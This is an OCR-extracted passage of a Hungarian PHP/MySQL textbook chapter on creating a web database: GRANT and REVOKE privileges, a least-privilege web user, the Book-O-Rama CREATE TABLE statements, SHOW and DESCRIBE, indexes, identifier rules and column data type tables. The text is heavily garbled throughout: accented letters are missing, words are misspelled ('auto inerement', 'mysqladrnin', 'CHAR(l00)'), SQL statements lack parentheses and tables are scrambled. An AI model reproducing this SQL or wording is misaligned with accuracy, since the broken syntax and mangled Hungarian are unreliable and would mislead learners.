A FILE jogosultsg ebbl a szempontbl kicsit eltr. Azrt lehet hasznos a felhasznlknak, mert az adatok fjlbl val
betltsvel rengeteg idt megsprolhatnak, mert nem kell azokat jra bevinnik az adatbzisba. A fjibetltssel azonban
a MySQL kiszolgl ltal lthat brmilyen fjl betlthet, kztk ms felhasznlkhoz tartoz adatbzisok, st akr a jel
szfjlok is. Legynk elvigyzatosak, amikor megadjuk ezt a jogosultsgot, vagy ajnljuk fel a felhasznlnak az adatok
betltst!
Kt klnleges jogosultsg is ltezik, ezeket a 9.3 tblzat mutatja.
93 tbla: Klnleges jogosultsgok
Jogosultsg

Lers

ALL

9.1 s a 9.2 tblzatban felsorolt sszes jogosultsgot megadja. Az ALL helyett rhatunk ALL

PRIVILEGES-t

is.

Nem jogosultsgot ad, hanem felhasznlt hoz ltre, s megengedi, hogy bejelentkezzen, m a felhasznl

USAGE

ezen tlmenen semmire nem jogosult.

A REVOKE parancs
A GRANT ellentre a REVOKE. Hasznlatval jogosultsgokat vonhatunk meg a felhasznlhL Szintaktikjban a GRANT
hez hasonl:
REVOKE jogosultsagok

[(oszlopok})

ON elem
FROM

felhasznaloi

nev

A WITH GRANT OPTI ON mellkg hasznlata esetn az albbival vonhatjuk vissza az ott kiosztott jogosultsgot (a tbbi
vel egyetemben):
REVOKE All PRIVILEGES,

GRANT

FROM felhasznaloi nev

Pldk a GRANT s a REVOKE hasznlatra


Adminisztrtori felhasznl belltshoz gpeljk be az albbiakat:
mysql>

GRANT ALL

-> ON *
-> TO fred IDENTIFIED BY
->

'mnbl23'

WITH GRANT OPTION;

Ez a parancs rninden adatbzisra vonatkozan megadja az sszes jogosultsgot a Fred nev, az mnb12 3 jelszval rendelke
z felhasznlnak, s megengedi szmra a jogosultsgok tovbbadst.
J esllyel nem szeremnk, hogy legyen egy ilyen felhasznl a rendszernkben, ezrt rajta, vonjuk vissza:
mysql>

REVOKE ALL PRIVILEGES,

GRANT

-> FROM fred;


Most mr ltrehozharunk egy ltalnos felhasznlt, aki nem rendelkezik jogosultsgokkal:
mysql>

GRANT USAGE

-> ON konyvek.*
-> TO sally IDENTIFIED BY 'magic123';
Miutn beszltnk Sallyvel, s megrudruk, mit szereme csinlni, Icioszthatjuk neki a megfelel jogosultsgokat:

mysql>

GRANT SELECT, INSERT, UPDATE,

DELETE,

INDEX,

ALTER, CREATE,

DROP

-> ON konyvek.*
-> TO sally;
Figyeljk meg, hogy a jogosultsgok kiosztshoz nem szksges megadnunk Sal!y jelszavt l

Webes adarbzis ltrehozsa

155

Ha gy ltjuk, hogy Sal!y valamiben mesterkedik az adatbzisban, dnthetnk gy, hogy cskkentjk jogosultsgainak a krt:
mysql>

REVOKE ALTER,

->

ON konyvek. *

->

FROM sally;

CREATE,

DROP

Ksbb, amikor mr egyltaln nincs mirt hasznlnia az adatbzist, teljesen visszavonhatjuk jogosultsgait:
mysql>

REVOKE ALL

->

ON konyvek . *

->

FROM sally;

Webes felhasznl belltsa


PHP kdjainkhoz ltre kell hoznunk egy felhasznlt, aki csatlakozni kpes a MySQL-hez. Itt is rdemes a legalacsonyabb
jogosultsg elvt kvetni: rnire kell, hogy kdjaink kpesek legyenek?
Az esetek tbbsgben csak a SELECT, INSERT, DELETE s UPDATE lekrdezst kell futtatniuk. A kvetkezkppen llt

harjuk be ezeket a jogosultsgokat:


mysql>
-

>

GRANT SELECT, INSERT, DELETE, UPDATE

ON konyvek . *

->TO beokorama IDENTIFIED

BY

'bookorama123';

Biztonsgi okokbl termszetesen az itt lthatnl ersebb jelszt kell vlasztani.


Webhoszting-szolgltats esetn ltalban a tbbi felhasznli jogosultsgot is megkapjuk a szolgltats ltal szmunkra lt
rehozott adatbzison. Jellernzen ugyanazt a felhasznli nevet s jelszt kapjuk parancssori hasznlatra (tblk ltrehozsra
srb.) s webes szkriptcsatlakozshoz (az adatbzis lekrdezshezJ. Csak minimlisan cskkenti a biztonsgot, ha rnindkett

hz ugyanazt a felhasznli nv-jelsz prost

hasznljuk. A kvetkez utastssal llthatunk be egy ilyen szint jogosultsggal

rendelkez felhasznlt:
mysql>
-

>

GRANT SELECT, INSERT, UPDATE, DELETE, INDEX, ALTER, CREATE, DROP

ON konyvek . *

->TO beokorama IDENTIFIED

BY

'bookoramal23';

Hajr, hozzunk ltre egy ilyen felhasznlt, mert a kvetkez rszben szksgnk lesz r!
A qui t begpelsvel lphetnk ki a MySQL monitorbl. Jelentkezznk vissza webes felhasznlknt, hogy meggyzd
hessnk arrl, rninden rendben mkdik! Ha vgrehajtdik az ltalunk kiadott GRANT utasts, de bejelentkezsi ksrletn
ket a kiszolgl elutastja, ennek ltalban az az oka, hogy a teleptsi folyamat rszeknt nem trltk a nvtelen felhaszn
lkat. Lpjnk vissza root-knt, m:Yd lapozzunk a Fggelkhez, amelybl megtudhatjuk, hogyan trlhetjk ki ezeket! Ezt
kveten mr minden bizonnyal be tudunk lpni webes felhasznlknt is.

A megfelel

adatbzis hasznlata

Ha eljutottunk idig, akkor be kellett lpnnk egy, a mintakd tesztelsre kszen ll, felhasznli szint MySQL felhaszn
li fikba, amit vagy s:Yt magunk hoztunk ltre, vagy a webes kiszolgl rendszergazdja lltott be szmunkra.
Bejelentkezskor az els lps a hasznlni kvnt adatbzis meghatrozsa. Az albbiakat kell ehhez begpelni:
mysql>

USE adatbazis_neve;

ahol az adatbaz is_neve az adatbzis nevt jelli.


A use parancsra nem felttlenl van szksg, mivel belpskor is meghatrozhatjuk az adatbzist. A kvetkezket kell
ehhez bernunk:
mysql -D adatbazis_neve -h hostnev

-u

felhasznaloi_nev

-p

Pldnkban a konyvek adarbzist kvnjuk hasznlni:


mysql>

USE konyvek;

A parancs begpelse utn a MySQL az albbihoz hasonl vlaszt ad:


Database changed

Ha a munka megkezdse eltt nem vlasztjuk ki az adatbzist, a MySQL hibazenetet ad, pldul az albbihoz hasonlt:
ERROR 1046

(3D000):

No

Database Selected

156

9. fejezet

Adatbzistblk ltrehozsa
Az adatbzis bellitsnak kvetkez lpse a tblk ltrehozsa. A

CREATE TABLE

SQL paranccsal tehetjk ezt meg. Ennek

ltalnos alakja a kvetkez:


CREATE TABLE tabla_neve(oszlopok)

Megjegyzs: J,

ha tudjuk, hogy a MySQL-ben nem csak egyfle tblatpus vagy trolmotor rhet el, hanem
tranzakcibiztos tpusokat is vlaszthatunk. A tblatpusokat a Halad MySQL-programozs cm B. fejezetben trgyaijuk
meg. Egyelre adatbzisunk minden tblja az alaprtelmezett trolmotort, a MyiSAM-et hasznlja.

A tabla_neve helyre a ltrehozni kvnt tbla nevt, az oszlopok helyre pedig a tblba sznt oszlopok vesszvel
elvlaszton listjt kell bernunk. Minden oszlopnl meg kell adni annak nevt, majd tpust.
Emlkeztetsknt lljon itt ismt a Book-O-Rama adatbzis smja:
Vasarlok(VasarloiD,

Nev,

Lakeim,

Megrendelesek(RendelesiD,
Konyvek(ISBN, Szerzo, Cim,

Osszeg,

Datum)

Ar)

Rendelesi_tetelek(RendelesiD,
Konyv_Ertekelesek(ISBN,

Varas)

VasarloiD,

ISBN,

Darabszam)

Ertekelesek)

A 9.1 pldakd a fenti tblk ltrehozshoz szksges SQL kd. Ez felttelezi, hogy mr ltrehoztuk a konyvek nev
adatbzist. A knyv http://www.perfactkado.hu/mellekletek oldalrl letlthet mellkletben a
sql

9_ fej ezet/bookorama.

fjlban talljuk ezt az SQL-t.

Meglv, pldul a mellkletekbl betlttt SQL fjlt a kvetkezkppen futtathatunk a MySQL-lel:


mysql -h host

>

-u boakorama -D konyvek -p

<

bookorama.sql

(Ne feledjk el a host helyre berni hosztunk nevt s meghatrozni a boakorama. sql fjl teljes elrsi tvonalt!)
A fjltirnyts (file redirection) azrt praktikus dolog, mert futtats eltt neknk tetsz szvegszerkesztben dolgozha
tunk az SQL kdon.
9.1 pldakd: boakorama. sql

-A Book-O-Rama alkalmazs tblit ltrehoz SQL kd

CREATE TABLE vasarlok

VasarloiD INT UNSIGNED NOT NULL auto

inerement

PRIMARY KEY,

nev CHAR(50) NOT NULL,


lakeim CHAR(l00) NOT NULL,

varas CHAR(30) NOT NULL

CREATE TABLE megrendelesek

rendelesiO INT UNSIGNED NOT NULL auto inerement


vasarloiD INT UNSIGNED NOT NULL,
asszeg FLOAT(6,2),
datum DATE NOT NULL
);

CREATE TABLE konyvek

isbn CHAR(l3) NOT NULL PRIMARY KEY,


szerzo CHAR(50),
eim CHAR(l00),

);

ar FLOAT(4,2)

CREATE TABLE rendelesi tetelek

PRIMARY KEY,

Webes adatbzis ltrehozsa

157

rendelesiO INT UNSIGNED NOT NULL,


isbn

char(l3)

NOT NULL,

darabszam TINYINT UNSIGNED,

PRIMARY KEY (rendelesiD,

isbn)

);
CREATE TABLE konyv_ertekelesek

isbn CHAR(l3)
ertekeles

NOT NULL

PRIMARY KEY,

TEXT

);
Minden tblt kln CREATE TABLE utasts hoz ltre. Lthatjuk, hogy a sma minden tblja az elz fejezetben kiala
ktott oszlopokkal jn ltre. Minden oszlop neve utn megjelenik az adattpusa, egyes oszlopok pedig tovbbi specifiklkkal is
rendelkeznek.

A tbbi kulcssz jelentsnek megismerse


A NOT NULL azt jelenti, hogy a tbla minden sorban rtknek kell lennie ennl a tulajdonsgnL Ha nem adjuk ki ezt
a kulcsszt, a mez lehet res (NULL ) .
AzAUTO_INCREMENT

olyan klnleges MySQL funkci, amit egsz tpus oszlopokon hasznlhatunk. Ez azt jelenti,

hogy ha resen hagyjuk a mezt, amikor sorokat szrunk a tblba, akkor a MySQL automatikusan egyedi azonost rtket
fog ellltani. Ez az oszlopban tallhat maximlis rtknl eggyel nagyobb lesz. AzAUTO _INCREMENT tpus mezbl min
den tblban csak egy lehet. AzAUTO INCREMENT-tel meghatrozott oszlopokat indexeini kell.
_

Az oszlop mg rt PRIMARY KEY kulcssz azt jelzi, hogy ez az oszlop a tbla elsdleges kulcsa. Ebben az oszlopban egye
di rtkeknek kell lennik. A MySQL automatikusan indexeli ezt az oszlopot. Ahol a 9.1 pldakdban hasznltk-nevesen
a vasarlok tbla vasarloiD oszlopban-, azAUTO_INCREMENT kulcsszval egytt jelent meg. Az elsdleges kulcs auto
matikus indexe gondoskodik azAUTO INCREMENT ltal elvrt indexrl is.
_

Az egy mezbl ll elsdleges kulcsot tartalmaz tbla esetn az oszlopnv mg rjuk a PRIMARY KEY kulcsszt. A m
sik lehetsg a rendelesi _tetelek utasts vgnl lthat PRIMARY KEY mellkg hasznlata. Azrt ezt alkalmaztuk
itt, mert a tbla elsdleges kulcsa a kt oszlopbl jn ki. (Ez az indexet is a kt oszlop alapjn hozza ltre.)
Az egsz tpus utn rt UN SIGNED kulcssz azt jelenti, hogy az oszlopba csak nulla vagy pozitv rtk kerlhet.

Az oszloptpusok
Pldaknt vizsgljuk meg az els tblt:
CREATE TABLE

vasarlok

vasarloiD INT
nev CHAR(50)

UNSIGNED NOT NULL auto_increment PRIMARY


NOT

lakeim CHAR(l00)
varas

CHAR(30)

KEY,

NULL,
NOT

NULL,

NOT NULL

);
Tbla ltrehozsakor dntst kell hoznunk az oszlopok tpusrL
Avasarlok

tbla-mint azt a sma is meghatrozza- ngy oszlopbl ll. Az els, a vasarloiD az elsdleges kulcs,

ezt kzvedenl meghatroztuk. Eldntttk, hogy egsz (INT) adattpus lesz, s az azonosrknak nem negatv rtkeknek
(UNSIGNED ) kell lennik. AzAUTO _INCREMENT funkci nyjtotta elnyket is kihasznljuk, gy a MySQL automatikusan
kezelni fogja szmunkra az azonostkat, s eggyel kevesebb dologra kell figyelnnk.
Az sszes tbbi oszlop karakterlnc (string) tpus adatot fog trolni. Ezekhez a CHAR adattpust vlasztottuk. Ez a tpus
rgztett szlessg mezket hatroz meg. A szlessget zrjelben adhatjuk meg, e szerint a nev pldul legfeljebb 50 karak
ter hossz lehet.
Ez az adattpus minden esetben 50 karakternyi trolhelyet oszt ki a nvre, akkor is, ha nem mindet hasznljuk fel.
A MySQL szkzkkel tlti fel az adatot, hogy a megadott mretv tegye. Az adattpus lehetsges alternatvja a V ARCHAR,
amely csak a tnylegesen szksges trolhelyet hasznlja (s mg egy bjtot). A kt tpus kztt az is a klnbsg, hogy
a VARCHAR kevesebb helyet hasznl, m a CHAR gyorsabb.

158

9. fejezet

Lthatjuk, hogy minden oszlopot a NOT NULL kulcsszval deklarl tak. Ezt az apr optimalizlsi lpst minden lehetsges
helyen rdemes alkalmazni, mert ltala kicsit gyorsabban futnak a dolgok. A:z. optimalizlssal a 12. fejezetben rszletesebben is
foglalkozunk.
Ms CREATE utastsoknl eltr szintaktikt lthatunk. V izsgljuk meg a megrendelesek tblt ltrehoz kdot:
CREATE TABLE megrendelesek

rendelesiO INT UNSIGNED NOT NULL auto

inerement

PRIMARY KEY,

vasarloiD INT UNSIGNED NOT NULL,


osszeg FLOAT(6,2),
datum DATE NOT NULL

);
A:z. osszeg oszlop a meghatrozs szerint float rpus lebegpontos szmot trol. A lebegpontos adattpusok nagy r

sznl meghatrozhatjuk a megjelents szlessgt s a tizedeshelyek szmt. A pldban a rendels rtkt dollrban szmt
juk ki, ezrt a vgsszegnek kellen nagy

(6 karakter szlessg) helyet, a centeknek pedig kt tizedeshelyet hatroztunk meg.

A dtumot tartalmaz datum oszlop DATE adattpus.


A tbla az osszeg kivtelvel minden oszlopot NOT NULL-knt, azaz nem resknt hatroz meg. Mi ennek az oka?
Amikor rendelst visznk az adatbzisba, a megrendelesek tblban kell ltrehozni, hozzadjuk a rendelt tteleket
a rendeles i_t etelek tblhoz, majd kiszmtjuk a vgsszeget. A rendels ltrehozsakor nem tudjuk a vgsszege t, gy
megengedjk, hogy NULL , vagyis res legyen.
A konyvek tbla rszben hasonl tulajdonsgokkal br:
CREATE TABLE konyvek

isbn CHAR(l3) NOT NULL PRIMARY KEY,


szerzo CHAR(SO),
eim CHAR(l00),
ar FLOAT (4, 2)

);
Itt nem szksges elsdleges kulcsot generlni, mert az ISBN-kdok ellltsa mshol trtnik. A tbbi mezt azrt hagy
juk resen, mert egy knyvesbolt hamarabb megtudhatja a knyvek ISBN-kdjt, mint cmt ( eim) , szerzjt ( szerzo) vagy
rt (ar).
A rendelesi_tetelek tbla megmutatja, hogyan kell tbboszlopos (multicolumn) elsdleges kulcsokat ltrehozni:
CREATE TABLE rendelesi tetelek

rendelesiO INT UNSIGNED NOT NULL,


isbn char(l3) NOT NULL,
darabszam TINYINT UNSIGNED,

PRIMARY KEY

(rendelesiD,

isbn)

);

A tbla TINYINT UNSIGNED tpusknt hatrozza meg az adott knyvek mennyisgt. Ez a tpus O s 255 kztti egsz
szmot kpes trolni.
Korbban mr jeleztk, hogy a tbboszlopos elsdleges kulcsokat klnleges elsdlegeskulcs-mellkggal hatrozzuk meg.
Pontosan ezt alkalmaztuk itt.
Vgezetl vizsgljuk meg a konyv_ ertekelesek tblt:
CREATE TABLE konyv_ertekelesek

isbn CHAR(l3) NOT NULL PRIMARY KEY,


ertekeles TEXT

);
Ez a tbla egy j, korbban mg nem trgyalt adattpust hasznl: a TEXT hosszabb szvegekhez, pldul cikkekhez alkal
mazhat. Ltezik nhny vltozata, amit a fejezet egy ksbbi rszben rszletesebben bemutatunk.
A tblk ltrehozsnak mlyebb megismerse rdekben vizsgljuk meg az oszlopneveket s azonostkat ltalnossgban,

majd tekintsk t az oszlopokhoz vlasztott adattpusakad Elszr azonban nzzk meg a ltrehozott adatbzist!

Webes adatbzis ltrehozsa

159

Az adatbzis megtekintse a SHOW s a DESCRIBE paranccsal


Jelentkezznk be a MySQL monitorba, s vlasszuk ki a konyvek adatbzist! Az ebben lv tblkat a kvetkez utasts
begpelsvel tekinthetjk meg:
mysql> SHOW TABLES;

A MySQL ekkor egy, az adatbzisban lv sszes tblt tartalmaz listt jelent meg:
+-------------------+

l Tables in konyvek

+-------------------+

konyv_ertekelesek
konyvek
vasarlok
rendelesi tetelek
megrendelesek
+-------------------+

5 rows in set

(0.06 sec)

A show paranccsal az adatbzisok listjt is kirathatjuk:


mysql> show databases;

Ha nem rendelkeznk SHOW DATABASE$ jogosultsggal, akkor csak azon adatbzisok listjt ltjuk, amelyekhez jogosult
sggal brunk.
Tovbbi informcit kapharunk egy adott tblrl, pldul a konyvek-rl a DESCRIBE paranccsal:
mysql> describe konyvek;

A MySQL ekkor megjelenti az adatbzis ltrehozsakor ltalunk megadott adatokat:


+--------+------------+------+-----+---------+-------+

l Field

Type

Null

Key

Default

Extr a

+--------+------------+------+-----+---------+-------+

isbn

char (13)

NO

szero

char (50)

YES

NULL

eim

char (100)

YES

NULL

ar

float(4,2)

YES

NULL

PRI

NULL

+--------+------------+------+-----+---------+-------+

rows in set

(0.00 sec)

Ezek a parancsok kivlan alkalmasak arra, hogy esznkbe juttassk egy adott oszlop tpust, vagy naviglni rudjunk a nem
ltalunk ltrehozott adatbzisokban.

lndexek ltrehozsa
Rviden beszltnk mr az indexekrl, mert az elsdleges kulcsok kijellse indexeket hoz ltre azokon az oszlopokon.
Az j MySQL-felhasznlk gyakran panaszkodnak az adatbzis gyenge teljestmnyre, pedig azt hallottk a MySQL-rl,
hogy villmgyors.A problma oka, hogy nem hoztak ltre indexeket az adatbzisukban.(Tblkat ugyanis elsdleges kulcsok
vagy indexek nlkl is ltre lehet hozni.)
Kezdskppen tkletesen megfelelnek szmunkra az automatikusan ltrehozott indexek.Ha a ksbbiekben azt tapasztal
juk, hogy sok lekrdezst futtarunk egy olyan oszlopon, amely nem kulcs, rdemes lehet a teljestmnynvels rdekben inde
xet adni az oszlophoz. A CREATE INDEX utastssal tehetjk ezt meg. Az utaSts ltalnos alakja:
CREATE

[UNIQUEIFULLTEXT] INDEX index neve

[(hossz) l
[ASC l DESC], ...] )
(A FULLTEXT indexek szvegmezk indexelsre szolglnak; hasznlarukat a 13. fejezetben mutatjuk be.)
Az opcionlis hoss z mezvel megadhatjuk, hogy csak a mez els hossz karaktere legyen indexelve.Azt is meghatroz
hatjuk, hogy az index emelked ( ASC ) vagy cskken (DESC ) legyen; a cskken az alaprtelmezett.

ON tabla_neve (index_oszlop_nev

160

9. fejezet

MySQL azonostk
tfle azonostt hasznlunk MySQL-ben: az adatbzisokat,a tblkat,az oszlopokat s az indexeket - amelyeket mr mind
jl ismernk -,valamint az aliasokat,amelyekkel a kvetkez fejezetben fogunk foglalkozni.
A MySQL adatbzisok a mgttes fjlszerkezet mappinak,a tblk pedig a fjloknak felelnek meg. Ennek kzveclen hatsa
van az ezeknek adott nevekre,illetve azok kisbet-nagybet-rzkenysgt is befolysolja: ha az opercis rendszer mappa- s
fjlnevei megklnbztetik a kis- s nagybetket,akkor az adatbzis- s tblanevek is gy tesznek (pldul Unix alatt); egyb
knt nem (pldul Windows alatt). Az oszlop- s aliasnevek nem tesznek klnbsget a kis- s nagybetk kztt,m ugyan
azon SQL utasrson bell nem hasznlhatjuk ugyanannak a nvnek klnbz vltozatt.
Az adatokat tartalmaz mappa s fjlok helyt a konfigurci hatrozza meg. A mysqladrnin parancs albbi hasznlatval
derthetjk ki,hogy rendszernkn ez hol tallhat:
>

mysqladrnin -h host

-u

root -p variables

Ezt kveten keressk meg a datadir vltozt!


A 9.4 tblzatban a lehetsges azonosrk sszefoglalst talljuk meg. Mg egy kikts van, nevezetesen az, hogy ASCII(O)

s ASCII(255) karaktereket,illetve idzjeleket nem hasznlhatunk az azonosrkban (szintn szlva nem is igazn rtjk,
mirt akarnnk ezeket hasznlni).
9.4 tblz;at: MySQL azonostk
Tpus

Max. hosszsg

Kisbet-nagybet-rzkenysg

Megengedett karakterek

Adatbzis

64

az opercis rendszerrel egyez

Az opercis rendszer ltal a mappanevekben meg

Tbla

64

az opercis rendszerrel egyez

Az opercis rendszer ltal a fjlnevekben megen

Oszlop

64

nem

Brmilyen karakter

Index

64

nem

Brmilyen karakter

Alias

255

nem

Brmilyen karakter

engedett sszes karakter,kivve: l, \ s .


gedett sszes karakter,kivve: l s .

Ezek a szablyok rendkivl megengedk. Az azonosrkban akr fenntartott szavakat s brmilyen klnleges karaktert
hasznlhatunk. Az egyetlen megkts,hogy ezek alkalmazsa esetn fordtott aposztrfok (backtick) kz kell raknunk ket.
Pldul:
create database

'create database';

Termszetesen a jzan sz hatrain bell rdemes lni ezzel a szabadsggal. Pusztn azrt, mert egy adatbzisnak akr
a 'create database' nevet is adhatjuk, nem biztos,hogy tnyleg ezt kell vlasztani. Ugyanaz az elv rvnyes itt is,mint
brmilyen programozs esetn: hasznljunk rtelmes azonostkarl

Oszlopok adattpusainak kivlasztsa


Az oszlopok hrom alaptpusa MySQL-ben a numerikus,a dtum s id s a karakterlnc. Ezen kategrikon bell szmos to
vbbi tpus tallhat. Itt csak sszefoglaljuk ezeket,erssgeikrl s gyengesgeikrl a

12. fejezetben olvashatunk rszletesebben.

Mindhrom tpust klnfle trolsi mretben vlaszthatjuk. Amikor valamelyik oszloptpus mellett dnrnk, ltalnossg
ban azt a legkisebb tpust kell vlasztani,amelyben elfrnek az adataink.
Sok adattpus esetn fennll,hogy arnikor ltrehozunk egy adott tpus oszlopot,meghatrozhatjuk a maximlis megjele
ntsi hosszsgot. A kvetkez tblzatokban szgletes zrjelek kztti M betvel jellrk az ilyen adattpusokat. Az M maxi
mlis rtke 255 lehet.
A most kvetkez lersokban szgletes zrjelben jelljk az opcionlis rtkeket.

Numerikus tpusok
A numerikus tpusok egsz vagy lebegpontos szmok. Utbbi esetn meghatrozhatjuk a tizedespont (tizedesvessz) utni

tizedesjegyek szmt. Ezt az rtket knyvnkben D-vel jelljk. A D legnagyobb rtke 30 vagy M- 2 (vagyis a maximlis meg
jelentsi hosszsg mnusz kett - egy karakter a tizedespontnak, egy pedig a tizedesjegynek) kzl a kisebb.
Egsz tpusoknl azt is meghatrozhatjuk,hogy UN SIGNED (nulla vagy pozitv) szmok legyenek. Erre a 9.1 pldakdban
lthatunk pldt.

Webes adatbzis ltrehozsa

161

Minden numerikus tpusnl megadhatjuk a ZEROFILL tulajdonsgot. Amikor ZEROFILL oszlopbl szrmaz rtke
ket jelentnk meg, vezet nullval lesznek kitltve. Ha egy oszlopra belltjuk a ZEROFILL tulajdonsgot, automatikusan
UNSIGNED is lesz.

Az egsz tpusokat a 9.5 tblzat tartalmazza. A tblzatban kzlt tartomnyok kzl az els sor

az

eljeles (signed), a m

sik az eljel nlkli ( unsigned).


9.5 tblzat: Egsz adattpusok
Tpus

Tartomny

Trolsi mret
(bjt)

Lers

TINYINT [ (M) l

-127..128 vagy 0 ..255

Nagyon kicsi egsz szmok


A TINYINT tpussal megegyez

BIT

A TINYINT tpussal megegyez

BOOL
SMALLINT [ (M) l

-32768. .32767 vagy 0..65535

Kis egsz szmok

MEDIUMINT [ (M)]

-8388608.. 8388607 vagy

Kzepes mret egsz szmok

0 ..16777215

INT[ (M) l

-231

231- l vagy 0..232- l

Norml egsz szmok

INTEGER [ (M)]
BIGINT [ (M)]

Az INT tpussal megegyez


-263 263

l vagy 0..264 - l

Nagy egsz szmok

A lebegpontos tpusokat a 9.6 tblzatban talljuk.


9.6 tblzat: Lebegpontos adattpusok

Tpus

Tartomny

Trolsi m
ret (bjt)

FLOAT(pontossg)

A pontossgtl fgg

Vltoz

Lers
Egyszeres vagy ketts pontossg le
begpontos szmok meghatrozsra
hasznlhat.

FLOAT [ (M,D)]

1.175494351E-38

3.402823466E+ 38

Egyszeres pontossg lebegpontos


szm. Ezek a szmok megegyeznek
a FLOAT (4) tpusakkal, m megha
trozott megjelentsi szlessggel s
meghatrozott szm tizedesjegyekkel
rendelkeznek.

DOUBLE [ (M,D)]

1.7976931348623157E+ 308

2.2250738585072014E-308

Ketts pontossg lebegpontos


szm. Ezek a szmok megegyeznek
a FLOAT (8) tpusakkal, m megha
trozott megjelentsi szlessggel s
meghatrozott szm tizedesjegyekkel
rendelkeznek.

DOUBLE
PRECISION[ (M, D) ]

Mintfenn

A DOUBLE [ (M, D) l tpussal meg

REAL [ (M, D) ]

Mintfenn

A DOUBLE[ (M, D) l tpussal meg

DECIMAL [ (M [,D]) l

Vltoz

egyez.
egyez.
M+2

Lebegpontos szm, amely CHAR-knt


troldik. A tartomny a megjelentsi
szlessgtl ( M) fgg.

NUMERIC [ (M,D) l

Mint fenn

A DECIMAL tpussal megegyez.

DEC [ (M,D)]

Mintfenn

A DECIMAL tpussal megegyez.

FI XED [ (M,D)]

Mintfenn

A DECIMAL tpussal megegyez.

162

9. fejezer

Dtum s id tpusok
A MySQL sokfle dtum s id tpusr tmogat; a 9.7 tblzarban Jrjuk ezeket. Minden tpusnl karakrerlnc- s numerikus
formrumban is bevihetjk az adatokat. rdemes megjegyezni, hogy egy adorr sor TIMESTAMP oszlopnak rrke a soron
vgzerr legutols mveler drumr s idponcjr fogja murarni - kivve, ha sajt kezleg ms rrkre lltjuk Ez a funkci
a rranzakcik rgztsnl lesz igazn hasznos.
9.7 tblzat: Dtum

s id adattpusok

Tpus

Tartomny

Lers

DATE

1000-01-01

YYYY-MM-DD

formrumban megjelen drum.

9999-12-31
TIME

-838:59:59

HH: MM: SS

838:59:59

rarromnya sokkal nagyobb, minr amire valaha is szksgnk

formrumban megjelen id. Figyeljk meg, hogy

lehet!
DATETIME

TIMESTAMP [ (M) l

1000-Ol- Ol 00:00:00

YYYY-MM-DD HH: MM: SS

9999-12-31 23:59:59

s id.

formrumban megjelen drum

1970- Ol- Ol 00:00:00

Tranzakcikversre hasznos idblyeg. A megjelentsi for

Valamikor 2037-ben

mrum az M rckrl fgg (lsd a kvetkez, 9.8 rblzaror!).


A tartomny fels harra a Unix korirjrl fgg.

YEAR [ (2 l 4) l

70-69 ( 1970-2069)

v. Kr- s ngyszmjegy formrum vlaszthat, amelyek

1901-2155

eltr rarromnnyal rendelkeznek.

A 9.8 tblzat a TIMESTAMP klnbz megjelentsi tpusair tartalmazza.


9.8

tblzat: A TIMESTAMP megjelentsi tpusai

Kivlasztort tpus

Megjelents

TIMESTAMP

YYYYMMDDHHMMSS

TIMESTAMP(14)

YYYYMMDDHHMMSS

TIMESTAMP(12)

YYMMDDHHMMSS

TIMESTAMP(lO)

YYMMDDHHMM

TIMESTAMP(S)

YYYYMMDD

TIMESTAMP(6)

YYMMDD

TIMESTAMP(4)

YYMM

TIMESTAMP(2)

yy

Karakterlnctpusok
A karakterlnc-tpusok hrom csoportba sorolhatk. Az els csoportba az egyszer karakterlncok- vagyis a rvid szvegda
rabok-tartoznak. Ez a CHAR (meghatrozott karakrerhosszsg) s a VARCHAR (vltoz karakrerhosszsg) tpus. Mind
kerrnek meghatrozhatjuk a szlessgt. A CHAR tpus oszlopokban lv adatok mrerkrl fggetlenl szkzkkel vannak
a maximlis szlessgre kirlrve, a VARCHAR oszlopok szlessge ugyanakkor a bennk lv adarrl fggerr vltozik. (Irr kell
megemlteni, hogy a MySQL CHAR tpus adatok visszakeressnl s VARCHAR tpus adatok eltrolsnllevgja azokrl a sor
vgi (zr) szkzker.) A kr tpus kzrt vlasztskor a trhely s a sebessg kzrti rvitssal szembeslnk, arnirl rszlete
sebben olvasharunk majd a 12. fejezetben.
A msodik csoportba a TEXT s a BLOB tpus tartozik. Ezek a klnbz mrerekben elrhet tpusok hosszabb szveghez,
illetve binris adarokhoz valk. A B LOB-ok, amelyek a bitiary large object (nagy binris objekrumok) kifejezsbl kaprk nevket,
brrnir kpesek trolni -gy kpet vagy hangadator is. A gyakoriarban a BLOB s a TEXT tpus oszlopok megegyeznek, az egyeden
klnbsg kzrrk, hogy a BLOB kisber-nagyber-rzkeny, a TEXT nem az. Mivel ezek az oszloptpusok nagy mennyisg ada

rot kpesek trolni, hasznlarukat rdemes klnsen megfontolni. Ezzel a krdssel a 12. fejezetben foglalkozunk rszleresen.
A harmadik csoportba kr klnleges tpus tartozik: a SET s az ENUM. A SET tpus azt rja el, hogy az adott oszlopban lv
rtkeknek meghatrozorr rtkhalmazbl kell szrmazniuk Az oszlopban lv rrkek a halmaz egynl tbb rtkt tartalmaz
hatjk. Egy adott halmaz legfeljebb 64 elembl llhat.

Webes adatbzis ltrehozsa

163

Az ENUM az angol enumeration, azaz felsorols kifejezsbl addik. A SET tpushoz nagyon hasonl, m az kztk a k
lnbsg, hogy az ilyen tpus oszlopok a megadott rtkek s a NULL kzl egyet vehetnek fel, s a felsorols legfeljebb 65 535
elemet tartalmazhat.
A karakterlnc-adattpusokat a 9.9, 9.10 s 9.11 tblzatban foglaltuk ssze. A

9.9 tblzatban az egyszer karakterlnc

rpusokat talljuk.
9.9 tblzat: Hagyomnyos karakterlnc-tpusok
Tpus
[NATIONAL]
[BINARY l
UNICODE]

CHAR(M)
ASCII

Tartomny

Lers

O- 255 karakter

M rgztett hosszsg karakterlnc, ahol M O s

255 kz esik.

A NATIONAL kulcssz meghatrozza, hogy az alaprtelmezett ka


rakterkszletet kell hasznlni. Ez is az alaprtelmezett MySQL-ben,
azrt szerepel mgis, merr az ANSI SQL szabvny rsze. A BINARY
kulcssz azt eredmnyezi, hogy az adatot kisbet-nagybet
rzkenyknt kell kezelni. (A kisbet-nagybet-rzkenysg az alap
rtelmezett.) Az ASCII kulcssz azt hatrozza meg, hogy az oszlop
ban latinl karakterkszlet lesz hasznlva. Az UNICODE kulcssz az
ucs karakterkszlet hasznlatt jelzi.
A CHAR (l) tpussal megegyez.

CHAR
[NATIONAL]
VARCHAR(M)

1- 255 karakter

Mint fent, csak vltoz hosszsgak.

[BINARY]

A 9.10 tblzat a TEXT s a BLOB tpusokat mutatja be. Egy TEXT mez karakterekben kifejezett maximlis hossza az
abban a mezben trolhat fjl bjtokban kifejezert maximlis mretve[ egyenl.
9.10 tblzat: A TEXT s a BLOB tpusok
Tpus

Maximlis hossz (karakterekben)

Lers

TINYELOB

28- l (vagyis 255)


